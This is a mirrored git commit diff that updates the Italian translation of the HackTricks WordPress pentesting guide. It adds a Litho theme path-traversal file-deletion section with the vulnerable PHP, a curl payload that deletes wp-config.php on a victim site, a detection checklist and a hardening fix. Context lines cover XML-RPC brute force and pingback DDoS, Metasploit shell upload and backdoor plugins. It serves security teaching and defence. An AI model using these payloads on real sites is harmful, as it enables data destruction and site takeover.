mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
6b5ca9cecd
commit
10d327cd44
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
- I file **caricati** vanno a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- I file **caricati** si trovano in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- I file **dei temi possono essere trovati in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente utilizzerai quel percorso. Ad esempio: Usando **il tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Un **altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
@ -16,8 +16,8 @@
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
|
||||
- `wp-activate.php` è utilizzato per il processo di attivazione via email quando si imposta un nuovo sito WordPress.
|
||||
- Cartelle di login (potrebbero essere rinominate per nasconderle):
|
||||
- `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
|
||||
- Cartelle di login (possono essere rinominate per nasconderle):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
@ -99,7 +99,7 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Verranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione**.
|
||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Saranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione**.
|
||||
|
||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
|
||||
|
||||
@ -107,7 +107,7 @@ Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Se `xml-rpc.php` è attivo, puoi eseguire un attacco di brute-force sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
|
||||
Se `xml-rpc.php` è attivo, puoi eseguire un attacco di forza bruta sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
|
||||
|
||||
Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
|
||||
|
||||
@ -138,7 +138,7 @@ Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con c
|
||||
|
||||
.png>)
|
||||
|
||||
Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Utilizzando le credenziali corrette, puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -174,11 +174,11 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS o scansione delle porte**
|
||||
|
||||
Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
|
||||
Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
|
||||
Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
|
||||
```html
|
||||
<methodCall>
|
||||
@ -210,8 +210,8 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
|
||||
### wp-cron.php DoS
|
||||
|
||||
Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
|
||||
Quando questo file è **accessed** viene eseguita una **query** MySQL "**heavy**", quindi potrebbe essere utilizzato da **attackers** per **cause** un **DoS**.\
|
||||
Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
|
||||
Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
|
||||
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
|
||||
|
||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Ottieni accesso sovrascrivendo un bit
|
||||
|
||||
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
|
||||
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puoi cambiare 1 bit di qualsiasi file wordpress. Quindi puoi cambiare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -262,11 +262,11 @@ Puoi usare:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
per ottenere una sessione.
|
||||
to get a session.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### Plugin PHP
|
||||
### PHP plugin
|
||||
|
||||
Potrebbe essere possibile caricare file .php come plugin.\
|
||||
Crea il tuo backdoor php utilizzando ad esempio:
|
||||
@ -285,7 +285,7 @@ Clicca su Procedi:
|
||||
|
||||
.png>)
|
||||
|
||||
Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai la tua shell caricata:
|
||||
Probabilmente questo non farà apparente nulla, ma se vai su Media, vedrai la tua shell caricata:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -293,34 +293,34 @@ Accedila e vedrai l'URL per eseguire la reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Caricamento e attivazione di un plugin malevolo
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
|
||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue:
|
||||
|
||||
1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installazione del Plugin**:
|
||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
|
||||
- Carica il file zip del plugin scaricato.
|
||||
3. **Attivazione del Plugin**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
|
||||
4. **Sfruttamento**:
|
||||
3. **Plugin Activation**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
|
||||
4. **Exploitation**:
|
||||
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
|
||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
|
||||
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
|
||||
|
||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza una corretta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
|
||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con esplicita autorizzazione.
|
||||
|
||||
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Da XSS a RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
|
||||
- _**Elevazione dei privilegi:**_ Crea un utente in WordPress.
|
||||
- _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
|
||||
- _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
|
||||
- _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
|
||||
- _**(Personalizzati) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
|
||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica un plugin integrato in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifica un tema integrato in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploits personalizzati per plugin/temi di terze parti di WordPress.
|
||||
|
||||
## Post Sfruttamento
|
||||
## Post Exploitation
|
||||
|
||||
Estrai nomi utente e password:
|
||||
```bash
|
||||
@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
|
||||
- **REST API**
|
||||
|
||||
È anche possibile esporre funzioni da wordpress registrando un'API REST utilizzando la funzione `register_rest_route`:
|
||||
È anche possibile esporre funzioni da wordpress registrando un'API rest utilizzando la funzione `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -362,7 +362,7 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Il `permission_callback` è una funzione di callback che verifica se un determinato utente è autorizzato a chiamare il metodo API.
|
||||
Il `permission_callback` è un callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API.
|
||||
|
||||
**Se viene utilizzata la funzione incorporata `__return_true`, salterà semplicemente il controllo dei permessi utente.**
|
||||
|
||||
@ -370,17 +370,93 @@ Il `permission_callback` è una funzione di callback che verifica se un determin
|
||||
|
||||
Certo, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga qualche funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||||
|
||||
### Cancellazione Arbitraria di File Non Autenticata tramite wp_ajax_nopriv (Tema Litho <= 3.0)
|
||||
|
||||
I temi e i plugin di WordPress espongono frequentemente gestori AJAX attraverso i ganci `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene utilizzata la variante **_nopriv_**, **il callback diventa accessibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
|
||||
|
||||
1. Un **controllo delle capacità** (ad es. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||||
2. Un **nonce CSRF** convalidato con `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||||
3. **Sanitizzazione / validazione rigorosa degli input**.
|
||||
|
||||
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Rimuovi Famiglia di Font* e ha finito per spedire il seguente codice (semplificato):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
return;
|
||||
}
|
||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||
$filesystem = Litho_filesystem::init_filesystem();
|
||||
|
||||
if ( file_exists( $srcdir ) ) {
|
||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||
}
|
||||
die();
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemi introdotti da questo frammento:
|
||||
|
||||
* **Accesso non autenticato** – il hook `wp_ajax_nopriv_` è registrato.
|
||||
* **Nessun controllo nonce / capacità** – qualsiasi visitatore può colpire l'endpoint.
|
||||
* **Nessuna sanificazione del percorso** – la stringa `fontfamily` controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, consentendo la classica traversata `../../`.
|
||||
|
||||
#### Sfruttamento
|
||||
|
||||
Un attaccante può eliminare qualsiasi file o directory **sotto la directory base degli upload** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Eliminare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
|
||||
|
||||
Altri obiettivi impattanti includono file `.php` di plugin/tema (per compromettere i plugin di sicurezza) o regole `.htaccess`.
|
||||
|
||||
#### Checklist di rilevamento
|
||||
|
||||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
|
||||
* Concatenazione di input utente non sanitizzati nei percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Hardening
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Tratta sempre** qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e controlla due volte:
|
||||
> • Autenticazione • Autorizzazione • Nonce • Sanitizzazione dell'input • Contenimento del percorso (ad es. tramite `realpath()` più `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
## Protezione di WordPress
|
||||
|
||||
### Aggiornamenti regolari
|
||||
### Aggiornamenti Regolari
|
||||
|
||||
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma anche che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Inoltre, **installa solo plugin e temi WordPress affidabili**.
|
||||
Anche, **installa solo plugin e temi WordPress affidabili**.
|
||||
|
||||
### Plugin di Sicurezza
|
||||
|
||||
@ -396,4 +472,8 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
|
||||
- **Limita i tentativi di accesso** per prevenire attacchi di Brute Force
|
||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Vulnerabilità di Cancellazione Arbitraria di File Non Autenticata nel Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user